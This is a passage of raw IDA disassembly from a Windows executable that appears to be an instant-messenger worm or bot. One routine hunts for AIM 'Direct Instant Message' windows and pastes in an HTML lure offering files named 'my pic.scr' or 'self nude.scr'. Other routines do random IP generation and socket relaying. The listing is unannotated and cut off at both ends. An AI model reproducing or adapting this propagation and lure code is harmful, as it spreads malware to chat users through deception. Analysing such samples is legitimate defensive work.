mov edx, 574h push edi loc_415F89: ; CODE XREF: sub_415F79+27j test eax, eax jz short loc_415F98 mov ecx, 15Dh mov esi, ebx mov edi, eax rep movsd loc_415F98: ; CODE XREF: sub_415F79+12j add ebx, edx add eax, edx cmp ebx, [esp+0Ch+arg_0] jnz short loc_415F89 pop edi pop esi loc_415FA4: ; CODE XREF: sub_415F79+7j pop ebx retn sub_415F79 endp ; =============== S U B R O U T I N E ======================================= sub_415FA6 proc near ; CODE XREF: sub_415989+AFp ; sub_415989+CDp ... arg_0 = dword ptr 4 cmp edx, [esp+arg_0] jz short locret_415FC9 push esi push edi loc_415FAE: ; CODE XREF: sub_415FA6+1Fj test eax, eax jz short loc_415FBB push 9 pop ecx mov esi, edx mov edi, eax rep movsd loc_415FBB: ; CODE XREF: sub_415FA6+Aj add edx, 24h add eax, 24h cmp edx, [esp+8+arg_0] jnz short loc_415FAE pop edi pop esi locret_415FC9: ; CODE XREF: sub_415FA6+4j retn sub_415FA6 endp ; =============== S U B R O U T I N E ======================================= sub_415FCA proc near ; CODE XREF: sub_415B6E+A2p ; sub_415B6E+C0p ... arg_0 = dword ptr 4 cmp ecx, [esp+arg_0] jz short locret_415FEC push esi push edi loc_415FD2: ; CODE XREF: sub_415FCA+1Ej test eax, eax jz short loc_415FDE mov esi, ecx mov edi, eax movsd movsd movsd movsd loc_415FDE: ; CODE XREF: sub_415FCA+Aj add ecx, 10h add eax, 10h cmp ecx, [esp+8+arg_0] jnz short loc_415FD2 pop edi pop esi locret_415FEC: ; CODE XREF: sub_415FCA+4j retn sub_415FCA endp ; =============== S U B R O U T I N E ======================================= sub_415FED proc near ; CODE XREF: sub_4163F9+12p and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 mov eax, esi call sub_41600E mov eax, esi retn sub_415FED endp ; =============== S U B R O U T I N E ======================================= sub_415FFF proc near ; CODE XREF: sub_4163E2+Bp mov eax, [eax+8] test eax, eax jz short locret_41600D push eax call ds:dword_4290F0 ; CloseHandle locret_41600D: ; CODE XREF: sub_415FFF+5j retn sub_415FFF endp ; =============== S U B R O U T I N E ======================================= sub_41600E proc near ; CODE XREF: sub_40F4FC+5Ap ; sub_415FED+Ap ... push dword ptr [eax+8] and dword ptr [eax], 0 call ds:dword_42910C ; SetEvent retn sub_41600E endp ; =============== S U B R O U T I N E ======================================= sub_41601B proc near ; CODE XREF: sub_41643A+20p mov eax, [ecx+4] test eax, eax jz short loc_41602A cmp [ecx], eax jb short loc_41602A xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41602A: ; CODE XREF: sub_41601B+5j ; sub_41601B+9j xor eax, eax retn sub_41601B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41602D proc near ; CODE XREF: sub_41643A+29p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, [esi+8] test eax, eax jz short loc_416041 push eax call ds:dword_4290F0 ; CloseHandle loc_416041: ; CODE XREF: sub_41602D+Bj and [ebp+var_8], 0 push 0 push 0 push 0 lea eax, [ebp+var_C] push eax mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 call ds:dword_429150 ; CreateEventA push 0FFFFFFFFh push eax mov [esi+8], eax call ds:dword_429128 ; WaitForSingleObject leave retn sub_41602D endp ; =============== S U B R O U T I N E ======================================= sub_416071 proc near ; DATA XREF: sub_41643A+8o var_10 = dword ptr -10h mov eax, offset loc_427D85 call sub_41E550 sub esp, 354h push edi mov edi, 100h push edi lea eax, [ebp-260h] push eax push dword ptr [ebp+8] call ds:dword_429264 ; GetWindowTextA lea eax, [ebp-260h] push offset aDirectInstantM ; "Direct Instant Message" push eax call sub_41CDC0 test eax, eax pop ecx pop ecx jz loc_416350 push ebx push esi lea eax, [ebp-260h] push offset asc_43015C ; ":" push eax call sub_41CE46 mov esi, eax xor ebx, ebx cmp esi, ebx pop ecx pop ecx mov [ebp-10h], esi jz loc_41634E push esi call sub_41C350 mov [eax+esi-1], bl lea eax, [ebp-160h] mov [esp+10h+var_10], offset aSoftwareGnuCon ; "SOFTWARE\\GNU\\Contact" push eax call sub_41C930 lea eax, [ebp-160h] push offset asc_42FDC4 ; "\\" push eax call sub_41C940 add esp, 10h mov [ebp-18h], ebx mov [ebp-14h], ebx mov [ebp-1Ch], ebx lea eax, [ebp-160h] push eax push 80000002h lea eax, [ebp-1Ch] push eax mov [ebp-4], ebx call sub_40DAB6 lea esi, [ebp-1Ch] call sub_40DB08 push dword ptr [ebp-10h] lea eax, [ebp-160h] push eax call sub_41C940 lea eax, [ebp-160h] push offset asc_42FDC4 ; "\\" push eax call sub_41C940 add esp, 10h lea eax, [ebp-28h] push eax mov eax, esi push eax push ebx push 2001Fh push ebx push ebx push ebx lea eax, [ebp-160h] push eax push 80000002h call ds:dword_42900C ; RegCreateKeyExA call sub_40DB08 cmp dword ptr [ebp-28h], 1 jnz loc_416346 lea eax, [ebp-60h] push eax push dword ptr [ebp+8] call ds:dword_429218 ; GetWindowPlacement cmp [ebp-58h], ebx jz loc_416346 push 0FFFFFFFFh push ds:dword_4381D0 call ds:dword_429128 ; WaitForSingleObject mov ebx, offset dword_4381D4 mov esi, ebx call sub_4046C9 test eax, eax jz short loc_4161C2 push 1 mov eax, ebx call sub_404694 loc_4161C2: ; CODE XREF: sub_416071+146j lea eax, [ebp+8] push eax call sub_40472B push 1 push offset aAolmail ; "AOLMAIL" mov byte ptr [ebp-4], 1 call ds:dword_429244 ; RegisterClipboardFormatA mov esi, edi push eax lea edi, [ebp-360h] call sub_404740 mov esi, ebx mov [ebp-20h], eax call sub_404706 add eax, 0C8h push eax call sub_41BAB5 pop ecx push ds:dword_4381D0 mov [ebp-10h], eax call ds:dword_429138 ; ReleaseMutex push 2 push 0 mov dword ptr [ebp-34h], offset aDsc1060193_scr ; "DSC1060193.scr" mov dword ptr [ebp-30h], offset aMyPic_scr ; "my pic.scr" mov dword ptr [ebp-2Ch], offset aSelfNude_scr ; "self nude.scr" call sub_40D864 mov edi, [ebp+eax*4-34h] pop ecx pop ecx push 0FFFFFFFFh push ds:dword_4381D0 call ds:dword_429128 ; WaitForSingleObject call sub_404706 push eax call sub_404706 push eax push edi push offset aHtmlFontLang0S ; "<HTML><FONT LANG=\"0\" SIZE=1>(right clic"... push dword ptr [ebp-10h] call sub_41CA2D push 0 push dword ptr [ebp-10h] call sub_41C3F0 add esp, 1Ch mov edi, eax call sub_404706 add edi, eax call sub_404706 push eax call sub_4046F4 push eax push 0 push dword ptr [ebp-10h] call sub_41C3F0 pop ecx pop ecx push eax call sub_41BC60 add esp, 0Ch push ds:dword_4381D0 call ds:dword_429138 ; ReleaseMutex push offset aDataBinary ; "</DATA></BINARY>" push edi call sub_41C930 push 0 push edi call sub_41C3F0 sub eax, [ebp-10h] mov edi, ds:dword_429244 add esp, 10h push eax push dword ptr [ebp-10h] mov ebx, offset aAolmail ; "AOLMAIL" push ebx call edi ; RegisterClipboardFormatA push eax call sub_404793 mov dword ptr [ebp-24h], 409h push 4 lea eax, [ebp-24h] push eax push 10h call sub_404793 mov esi, ds:dword_429240 call esi ; CloseClipboard push dword ptr [ebp+0Ch] push offset sub_416362 push dword ptr [ebp+8] call ds:dword_429200 ; EnumChildWindows push 0 call ds:dword_429250 ; OpenClipboard cmp dword ptr [ebp-20h], 0 jz short loc_41632B lea eax, [ebp-360h] push eax call sub_41C350 pop ecx inc eax push eax lea eax, [ebp-360h] push eax push ebx call edi ; RegisterClipboardFormatA push eax call sub_404793 jmp short loc_416331 ; --------------------------------------------------------------------------- loc_41632B: ; CODE XREF: sub_416071+297j call ds:dword_42924C ; EmptyClipboard loc_416331: ; CODE XREF: sub_416071+2B8j call esi ; CloseClipboard push 1388h call ds:dword_429084 ; Sleep mov eax, [ebp+0Ch] inc dword ptr [eax+10h] call esi ; CloseClipboard loc_416346: ; CODE XREF: sub_416071+10Ej ; sub_416071+124j lea eax, [ebp-1Ch] call sub_40D8F7 loc_41634E: ; CODE XREF: sub_416071+60j pop esi pop ebx loc_416350: ; CODE XREF: sub_416071+3Cj mov ecx, [ebp-0Ch] xor eax, eax inc eax pop edi mov large fs:0, ecx leave retn 8 sub_416071 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416362 proc near ; DATA XREF: sub_416071+27Do var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push 104h lea eax, [ebp+var_104] push eax push [ebp+arg_0] call ds:dword_429208 ; GetClassNameA lea eax, [ebp+var_104] push offset aAte32class ; "Ate32Class" push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4163BF push esi mov esi, ds:dword_429260 push edi push eax push 24Fh mov edi, 111h push edi push [ebp+arg_0] call esi ; SendMessageA push 0 push 10259h push edi push [ebp+arg_0] call esi ; SendMessageA pop edi pop esi loc_4163BF: ; CODE XREF: sub_416362+33j xor eax, eax inc eax leave retn 8 sub_416362 endp ; =============== S U B R O U T I N E ======================================= sub_4163C6 proc near ; DATA XREF: .text:00430BB8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4163E2 test [esp+4+arg_0], 1 jz short loc_4163DC push esi call sub_41C7B8 pop ecx loc_4163DC: ; CODE XREF: sub_4163C6+Dj mov eax, esi pop esi retn 4 sub_4163C6 endp ; =============== S U B R O U T I N E ======================================= sub_4163E2 proc near ; CODE XREF: sub_4163C6+3p mov eax, esi neg eax lea ecx, [esi+10h] sbb eax, eax and eax, ecx call sub_415FFF mov ecx, esi jmp sub_416AA6 sub_4163E2 endp ; =============== S U B R O U T I N E ======================================= sub_4163F9 proc near ; CODE XREF: sub_40F4FC+30p arg_0 = dword ptr 4 and dword ptr [edi+4], 0 or dword ptr [edi+0Ch], 0FFFFFFFFh push esi lea esi, [edi+10h] mov dword ptr [edi], offset off_430CE4 call sub_415FED mov eax, [esp+4+arg_0] mov dword ptr [edi], offset off_430BB4 push dword ptr [esi+8] mov [esi+4], eax call ds:dword_42910C ; SetEvent mov eax, esi call sub_41600E mov esi, edi call sub_416AC4 mov eax, edi pop esi retn 4 sub_4163F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41643A proc near ; DATA XREF: .text:off_430BB4o push esi push edi mov edi, ecx lea esi, [edi+10h] loc_416441: ; CODE XREF: sub_41643A+27j ; sub_41643A+2Ej push edi push offset sub_416071 call ds:dword_4291EC ; EnumWindows push 7D0h call ds:dword_429084 ; Sleep mov ecx, esi call sub_41601B test eax, eax jz short loc_416441 call sub_41602D jmp short loc_416441 sub_41643A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41646A proc near ; CODE XREF: sub_40E577+18p var_44 = byte ptr -44h var_43 = byte ptr -43h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 44h push edi xor eax, eax lea edi, [ebx+0Ch] stosd stosd stosd push 40h push [ebp+arg_0] stosd lea eax, [ebp+var_44] push eax call sub_41C5A0 add esp, 0Ch cmp [ebp+var_44], 52h jnz short loc_4164A0 lea eax, [ebp+var_43] push eax call sub_41D59C pop ecx mov [ebx+24h], eax jmp short loc_4164A4 ; --------------------------------------------------------------------------- loc_4164A0: ; CODE XREF: sub_41646A+25j and dword ptr [ebx+24h], 0 loc_4164A4: ; CODE XREF: sub_41646A+34j lea eax, [ebp+var_44] push offset a_ ; "." push eax call sub_41CE46 pop ecx pop ecx lea edi, [ebx+4] push 4 mov [ebp+arg_0], eax mov ecx, edi pop edx loc_4164BF: ; CODE XREF: sub_41646A+5Ej inc ecx dec edx mov byte ptr [ecx-4], 0 mov byte ptr [ecx], 0FFh jnz short loc_4164BF push esi xor esi, esi test eax, eax jz loc_41658F lea ecx, [ebx+0Ch] mov [ebp+var_4], ecx jmp short loc_4164E0 ; --------------------------------------------------------------------------- loc_4164DD: ; CODE XREF: sub_41646A+11Fj mov eax, [ebp+arg_0] loc_4164E0: ; CODE XREF: sub_41646A+71j cmp esi, 4 jnb loc_41658F cmp byte ptr [eax], 72h jnz short loc_416504 mov ecx, [ebp+var_4] inc eax mov dword ptr [ecx], 1 push eax mov byte ptr [esi+ebx], 0 call sub_41D59C jmp short loc_41656D ; --------------------------------------------------------------------------- loc_416504: ; CODE XREF: sub_41646A+82j push offset dword_430490 push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_41651E mov [esi+ebx], al mov byte ptr [edi+esi], 0FFh jmp short loc_416571 ; --------------------------------------------------------------------------- loc_41651E: ; CODE XREF: sub_41646A+A9j push offset dword_4303CC push [ebp+arg_0] call sub_41CDC0 test eax, eax pop ecx pop ecx jz short loc_416562 push 2Dh push [ebp+arg_0] call sub_41C3F0 inc eax push eax call sub_41D59C push 2Dh push [ebp+arg_0] mov [edi+esi], al call sub_41C3F0 push [ebp+arg_0] mov byte ptr [eax], 0 call sub_41D59C add esp, 18h mov [esi+ebx], al jmp short loc_416571 ; --------------------------------------------------------------------------- loc_416562: ; CODE XREF: sub_41646A+C5j push [ebp+arg_0] call sub_41D59C mov [esi+ebx], al loc_41656D: ; CODE XREF: sub_41646A+98j pop ecx mov [edi+esi], al loc_416571: ; CODE XREF: sub_41646A+B2j ; sub_41646A+F6j push offset a_ ; "." push 0 call sub_41CE46 add [ebp+var_4], 4 pop ecx inc esi test eax, eax pop ecx mov [ebp+arg_0], eax jnz loc_4164DD loc_41658F: ; CODE XREF: sub_41646A+65j ; sub_41646A+79j xor eax, eax pop esi loc_416592: ; CODE XREF: sub_41646A+13Ej mov cl, [edi+eax] cmp [eax+ebx], cl jbe short loc_41659D mov [eax+ebx], cl loc_41659D: ; CODE XREF: sub_41646A+12Ej mov cl, [eax+ebx] mov [eax+ebx+8], cl inc eax cmp eax, 4 jb short loc_416592 cmp byte ptr [ebx+3], 0 pop edi jnz short loc_4165B5 mov byte ptr [ebx+3], 1 loc_4165B5: ; CODE XREF: sub_41646A+145j cmp byte ptr [ebx+7], 0FFh jnz short loc_4165BF mov byte ptr [ebx+7], 0FEh loc_4165BF: ; CODE XREF: sub_41646A+14Fj and dword ptr [ebx+1Ch], 0 and dword ptr [ebx+20h], 0 mov eax, ebx leave retn 4 sub_41646A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165CD proc near ; CODE XREF: sub_40E5EC+2Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch xor eax, eax cmp [esi+24h], eax push ebx push edi mov [ebp+var_4], eax mov [ebp+var_8], 1 mov ebx, 0FFh jz short loc_41664C xor edi, edi loc_4165ED: ; CODE XREF: sub_4165CD+32j push ebx push 1 call sub_40D864 mov byte ptr [ebp+edi+var_4], al inc edi cmp edi, 4 pop ecx pop ecx jb short loc_4165ED mov cl, byte ptr [ebp+var_4] jmp short loc_416612 ; --------------------------------------------------------------------------- loc_416606: ; CODE XREF: sub_4165CD+48j push ebx push 1 call sub_40D864 pop ecx pop ecx mov cl, al loc_416612: ; CODE XREF: sub_4165CD+37j cmp cl, 7Fh jz short loc_416606 movzx edx, byte ptr [ebp+var_4+2] xor eax, eax mov ah, byte ptr [ebp+var_4+3] movzx ecx, cl movzx eax, ax or eax, edx xor edx, edx mov dh, byte ptr [ebp+var_4+1] shl eax, 10h movzx edx, dx or eax, edx or eax, ecx dec dword ptr [esi+24h] jnz loc_416702 mov dword ptr [esi+20h], 1 jmp loc_416702 ; --------------------------------------------------------------------------- loc_41664C: ; CODE XREF: sub_4165CD+1Cj push 3 lea ecx, [esi+18h] pop edi mov [ebp+var_C], ecx loc_416655: ; CODE XREF: sub_4165CD+11Bj mov ecx, [ebp+var_C] cmp [ecx], eax jz short loc_416681 push ebx push 1 call sub_40D864 mov byte ptr [ebp+edi+var_4], al cmp byte ptr [ebp+var_4], 7Fh jmp short loc_41667B ; --------------------------------------------------------------------------- loc_41666E: ; CODE XREF: sub_4165CD+B0j push ebx push 1 call sub_40D864 mov byte ptr [ebp+var_4], al cmp al, 7Fh loc_41667B: ; CODE XREF: sub_4165CD+9Fj pop ecx pop ecx jz short loc_41666E jmp short loc_416689 ; --------------------------------------------------------------------------- loc_416681: ; CODE XREF: sub_4165CD+8Dj mov al, [esi+edi+8] mov byte ptr [ebp+edi+var_4], al loc_416689: ; CODE XREF: sub_4165CD+B2j mov al, [esi+edi+4] cmp [esi+edi+8], al jnb short loc_4166DF cmp [esi+edi], al jz short loc_4166DF cmp [ebp+var_8], 0 jz short loc_4166DF push 3 pop eax sub eax, edi cmp [esi+1Ch], eax jz short loc_4166D7 push 3 pop ecx sub ecx, eax cmp ecx, 3 mov [esi+1Ch], eax jnb short loc_4166D7 mov [ebp+var_8], 0FFFFFFF8h sub [ebp+var_8], esi lea eax, [esi+0Bh] loc_4166C2: ; CODE XREF: sub_4165CD+108j mov cl, [eax-8] mov [eax], cl mov ecx, [ebp+var_8] push 3 dec eax pop edx sub edx, [esi+1Ch] add ecx, eax cmp ecx, edx ja short loc_4166C2 loc_4166D7: ; CODE XREF: sub_4165CD+D9j ; sub_4165CD+E6j inc byte ptr [esi+edi+8] and [ebp+var_8], 0 loc_4166DF: ; CODE XREF: sub_4165CD+C4j ; sub_4165CD+C9j ... sub [ebp+var_C], 4 dec edi xor eax, eax cmp edi, eax jge loc_416655 cmp [esi+20h], eax jnz short loc_416702 cmp [ebp+var_8], eax jz short loc_4166FF mov dword ptr [esi+20h], 1 loc_4166FF: ; CODE XREF: sub_4165CD+129j mov eax, [ebp+var_4] loc_416702: ; CODE XREF: sub_4165CD+6Dj ; sub_4165CD+7Aj ... pop edi pop ebx leave retn sub_4165CD endp ; =============== S U B R O U T I N E ======================================= sub_416706 proc near ; CODE XREF: sub_40ED1A+4Cp arg_0 = word ptr 4 arg_4 = word ptr 8 arg_8 = dword ptr 0Ch and dword ptr [edi+4], 0 or dword ptr [edi+0Ch], 0FFFFFFFFh push esi lea esi, [edi+10h] mov dword ptr [edi], offset off_430CD8 call sub_414878 mov ax, [esp+4+arg_0] mov [edi+584h], ax mov ax, [esp+4+arg_4] push 100h push [esp+8+arg_8] mov [edi+586h], ax lea eax, [edi+588h] push eax call sub_41C5A0 xor ecx, ecx add esp, 0Ch inc ecx mov eax, esi call sub_4148AA push esi call sub_414ACD mov esi, edi call sub_416AC4 mov eax, edi pop esi retn 0Ch sub_416706 endp ; =============== S U B R O U T I N E ======================================= sub_41676A proc near ; DATA XREF: .text:00430CDCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416786 test [esp+4+arg_0], 1 jz short loc_416780 push esi call sub_41C7B8 pop ecx loc_416780: ; CODE XREF: sub_41676A+Dj mov eax, esi pop esi retn 4 sub_41676A endp ; =============== S U B R O U T I N E ======================================= sub_416786 proc near ; CODE XREF: sub_41676A+3p push 3 lea eax, [esi+10h] mov dword ptr [esi], offset off_430CD8 call sub_414D44 mov ecx, esi jmp sub_416AA6 sub_416786 endp ; --------------------------------------------------------------------------- loc_41679D: ; DATA XREF: .text:off_430CD8o mov eax, offset loc_427B98 call sub_41E550 sub esp, 5B4h push ebx push esi push edi mov edi, ecx lea esi, [ebp-1Ch] mov [ebp-14h], edi call sub_405E63 and dword ptr [ebp-4], 0 xor eax, eax mov ax, [edi+584h] push offset aNull_1 ; "null" push 6 push eax mov eax, esi call sub_405EF4 push 8 lea esi, [edi+10h] pop ebx mov [ebp-10h], esi call sub_414AE0 mov ax, [edi+584h] mov ecx, esi call sub_414997 or esi, 0FFFFFFFFh cmp eax, esi jz loc_416890 mov eax, [ebp-10h] push 7FFFFFFFh call sub_414A0C cmp eax, esi jz short loc_416890 mov eax, [edi+47Ch] mov [ebp-20h], eax loc_41681A: ; CODE XREF: .text:00416831j ; .text:00416835j ... push 0 push 0FFFFFFFFh push 0 lea eax, [ebp-20h] push eax push 1 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz short loc_41681A test eax, eax jnz short loc_41681A mov edi, [ebp-10h] lea eax, [ebp-4Ch] push eax call sub_414C04 test byte ptr [ebp-4Ch], 8 jz short loc_41681A lea esi, [ebp-5C0h] call sub_414878 push edi lea esi, [ebp-5C0h] call sub_414A1F push 21h pop ebx lea esi, [ebp-5C0h] call sub_414AE0 push 588h call sub_41BA91 test eax, eax pop ecx jz short loc_41681A push dword ptr [ebp-14h] lea ecx, [ebp-5C0h] push ecx mov ebx, eax call sub_4168AA jmp short loc_41681A ; --------------------------------------------------------------------------- loc_416890: ; CODE XREF: .text:004167FAj ; .text:0041680Fj mov [ebp-4], esi lea esi, [ebp-1Ch] call sub_405EDB mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn ; =============== S U B R O U T I N E ======================================= sub_4168AA proc near ; CODE XREF: .text:00416889p arg_0 = dword ptr 4 arg_4 = dword ptr 8 and dword ptr [ebx+4], 0 or dword ptr [ebx+0Ch], 0FFFFFFFFh push esi push edi lea edi, [ebx+14h] mov esi, edi mov dword ptr [ebx], offset off_430CCC call sub_414878 mov eax, [esp+8+arg_4] mov esi, [esp+8+arg_0] mov [ebx+10h], eax mov ecx, 15Dh rep movsd mov esi, ebx call sub_416AC4 pop edi mov eax, ebx pop esi retn 8 sub_4168AA endp ; =============== S U B R O U T I N E ======================================= sub_4168E4 proc near ; DATA XREF: .text:00430CD0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416900 test [esp+4+arg_0], 1 jz short loc_4168FA push esi call sub_41C7B8 pop ecx loc_4168FA: ; CODE XREF: sub_4168E4+Dj mov eax, esi pop esi retn 4 sub_4168E4 endp ; =============== S U B R O U T I N E ======================================= sub_416900 proc near ; CODE XREF: sub_4168E4+3p push 3 lea eax, [esi+14h] mov dword ptr [esi], offset off_430CCC call sub_414D44 mov ecx, esi jmp sub_416AA6 sub_416900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416917 proc near ; DATA XREF: .text:off_430CCCo var_DB0 = byte ptr -0DB0h var_9B0 = byte ptr -9B0h var_5B0 = byte ptr -5B0h var_158 = dword ptr -158h var_144 = dword ptr -144h var_3C = byte ptr -3Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0DB0h push esi push edi mov edi, ecx lea esi, [ebp+var_5B0] mov [ebp+var_8], edi call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA mov eax, [edi+10h] lea ecx, [eax+588h] mov ax, [eax+586h] push ecx mov ecx, esi call sub_414A81 cmp eax, 0FFFFFFFFh jz loc_416A79 push ebx push 21h pop ebx call sub_414AE0 mov eax, [edi+480h] and [ebp+var_4], 0 mov [ebp+var_10], eax mov eax, [ebp+var_144] mov [ebp+var_C], eax mov ebx, 400h jmp short loc_416986 ; --------------------------------------------------------------------------- loc_416983: ; CODE XREF: sub_416917+14Cj mov edi, [ebp+var_8] loc_416986: ; CODE XREF: sub_416917+6Aj ; sub_416917+86j push 0 push 0FFFFFFFFh push 0 lea eax, [ebp+var_10] push eax push 2 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz short loc_416986 test eax, eax jnz short loc_4169FA lea eax, [ebp+var_3C] lea esi, [edi+14h] push eax mov edi, esi call sub_414C04 test [ebp+var_3C], 1 jz short loc_4169DB push ebx lea eax, [ebp+var_DB0] push eax call sub_414D0B test eax, eax jle loc_416A5F push eax lea eax, [ebp+var_DB0] lea edi, [ebp+var_5B0] jmp short loc_416A34 ; --------------------------------------------------------------------------- loc_4169DB: ; CODE XREF: sub_416917+9Ej test [ebp+var_3C], 20h jz short loc_416A5F push 1 mov eax, esi call sub_414D44 push 2 push [ebp+var_158] call ds:dword_4292A0 ; shutdown jmp short loc_416A5C ; --------------------------------------------------------------------------- loc_4169FA: ; CODE XREF: sub_416917+8Aj cmp eax, 1 jnz short loc_416A5F lea eax, [ebp+var_3C] push eax lea edi, [ebp+var_5B0] call sub_414C04 test [ebp+var_3C], 1 jz short loc_416A3C push ebx lea eax, [ebp+var_9B0] push eax mov esi, edi call sub_414D0B test eax, eax jle short loc_416A5F mov edi, [ebp+var_8] push eax lea eax, [ebp+var_9B0] add edi, 14h loc_416A34: ; CODE XREF: sub_416917+C2j push eax call sub_414C2D jmp short loc_416A5F ; --------------------------------------------------------------------------- loc_416A3C: ; CODE XREF: sub_416917+FBj test [ebp+var_3C], 20h jz short loc_416A5F push 1 lea eax, [ebp+var_5B0] call sub_414D44 mov eax, [ebp+var_8] push 2 add eax, 14h call sub_414DBA loc_416A5C: ; CODE XREF: sub_416917+E1j inc [ebp+var_4] loc_416A5F: ; CODE XREF: sub_416917+AFj ; sub_416917+C8j ... cmp [ebp+var_4], 2 jnz loc_416983 push 3 lea eax, [ebp+var_5B0] call sub_414D44 pop ebx jmp short loc_416A86 ; --------------------------------------------------------------------------- loc_416A79: ; CODE XREF: sub_416917+40j push 3 lea eax, [ebp+var_5B0] call sub_414D44 loc_416A86: ; CODE XREF: sub_416917+160j pop edi pop esi leave retn sub_416917 endp ; =============== S U B R O U T I N E ======================================= sub_416A8A proc near ; DATA XREF: .text:00430CE8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416AA6 test [esp+4+arg_0], 1 jz short loc_416AA0 push esi call sub_41C7B8 pop ecx loc_416AA0: ; CODE XREF: sub_416A8A+Dj mov eax, esi pop esi retn 4 sub_416A8A endp ; =============== S U B R O U T I N E ======================================= sub_416AA6 proc near ; CODE XREF: sub_406A96+A0p ; sub_407ACB+2Aj ... push esi mov esi, ecx mov eax, [esi+0Ch] cmp eax, 0FFFFFFFFh mov dword ptr [esi], offset off_430CE4 jz short loc_416AC2 push eax call ds:dword_4290F0 ; CloseHandle or dword ptr [esi+0Ch], 0FFFFFFFFh loc_416AC2: ; CODE XREF: sub_416AA6+Fj pop esi retn sub_416AA6 endp ; =============== S U B R O U T I N E ======================================= sub_416AC4 proc near ; CODE XREF: sub_401672+30p ; sub_40609A+14p ... arg_0 = dword ptr 4 lea eax, [esi+8] push eax xor eax, eax push eax push esi push offset loc_416ADF push eax push eax call sub_41D7F8 add esp, 18h mov [esi+0Ch], eax retn ; --------------------------------------------------------------------------- loc_416ADF: ; DATA XREF: sub_416AC4+8o push esi mov esi, [esp+4+arg_0] call sub_416AEF xor eax, eax pop esi retn 4 sub_416AC4 endp ; =============== S U B R O U T I N E ======================================= sub_416AEF proc near ; CODE XREF: sub_416AC4+20p mov eax, [esi] mov ecx, esi mov dword ptr [esi+4], 1 call dword ptr [eax] mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax+4] retn sub_416AEF endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_416B0E proc near ; CODE XREF: sub_407EBB+1Bp ; sub_407EE6+2Ep ... call ds:dword_4290A8 ; GetTickCount and dword ptr [esi+4], 0 mov [esi], eax retn sub_416B0E endp ; =============== S U B R O U T I N E ======================================= sub_416B1B proc near ; CODE XREF: sub_416B68+3p push ebx mov ebx, [esi] push edi mov edi, [esi+4] call ds:dword_4290A8 ; GetTickCount xor ecx, ecx cmp edi, ecx jb short loc_416B43 ja short loc_416B34 cmp ebx, eax jbe short loc_416B43 loc_416B34: ; CODE XREF: sub_416B1B+13j or eax, 0FFFFFFFFh push 0FFFFFFFFh sub eax, ebx pop ecx sbb ecx, edi mov [esi], eax mov [esi+4], ecx loc_416B43: ; CODE XREF: sub_416B1B+11j ; sub_416B1B+17j pop edi pop ebx retn sub_416B1B endp ; =============== S U B R O U T I N E ======================================= sub_416B46 proc near ; CODE XREF: .text:004087E5p ; sub_409BDA+29p ... push esi mov esi, [eax+8] call sub_416B68 xor ecx, ecx cmp edx, ecx jb short loc_416B64 ja short loc_416B5B cmp eax, esi jb short loc_416B64 loc_416B5B: ; CODE XREF: sub_416B46+Fj test esi, esi jz short loc_416B64 xor eax, eax inc eax pop esi retn ; --------------------------------------------------------------------------- loc_416B64: ; CODE XREF: sub_416B46+Dj ; sub_416B46+13j ... xor eax, eax pop esi retn sub_416B46 endp ; =============== S U B R O U T I N E ======================================= sub_416B68 proc near ; CODE XREF: sub_4016AD+12p ; sub_4016AD+38p ... push esi mov esi, eax call sub_416B1B call ds:dword_4290A8 ; GetTickCount xor edx, edx sub eax, [esi] sbb edx, [esi+4] pop esi retn sub_416B68 endp ; =============== S U B R O U T I N E ======================================= sub_416B7F proc near ; CODE XREF: sub_40F072+4Ap mov eax, offset loc_427A2D call sub_41E550 push esi mov esi, [ebp+8] and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh and dword ptr [ebp-4], 0 mov eax, [ebp+0Ch] push dword ptr [ebp+10h] mov dword ptr [esi], offset off_430CF0 mov [esi+10h], eax call sub_41C350 inc eax push eax call sub_41BAB5 push dword ptr [ebp+10h] mov [esi+14h], eax push eax call sub_41C930 mov ax, [ebp+14h] add esp, 10h mov [esi+18h], ax call sub_416AC4 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 10h sub_416B7F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416BE1 proc near ; DATA XREF: .text:00430CF4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416BFD test [esp+4+arg_0], 1 jz short loc_416BF7 push esi call sub_41C7B8 pop ecx loc_416BF7: ; CODE XREF: sub_416BE1+Dj mov eax, esi pop esi retn 4 sub_416BE1 endp ; =============== S U B R O U T I N E ======================================= sub_416BFD proc near ; CODE XREF: sub_416BE1+3p push dword ptr [esi+14h] mov dword ptr 